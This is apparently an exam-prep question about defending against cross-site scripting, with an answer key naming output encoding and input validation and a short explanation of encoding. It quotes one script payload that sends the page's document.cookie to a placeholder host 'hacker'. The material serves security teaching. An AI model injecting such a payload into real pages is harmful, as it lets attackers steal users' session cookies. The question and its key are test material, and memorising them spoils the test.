Which of the following are the BEST methods to prevent against this type of attack?

Given the following code:

<SCRIPT>var+img=new+Image();img.src=”http://hacker/%20+%20document.cookie;</SC

RIPT>

Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)
A . Web-application firewall
B . Parameterized queries
C . Output encoding
D . Session tokens
E . Input validation
F . Base64 encoding

View Answer

Answer: C,E

Explanation:

Encoding (commonly called “Output Encoding”) involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the &lt; string when writing to an HTML page.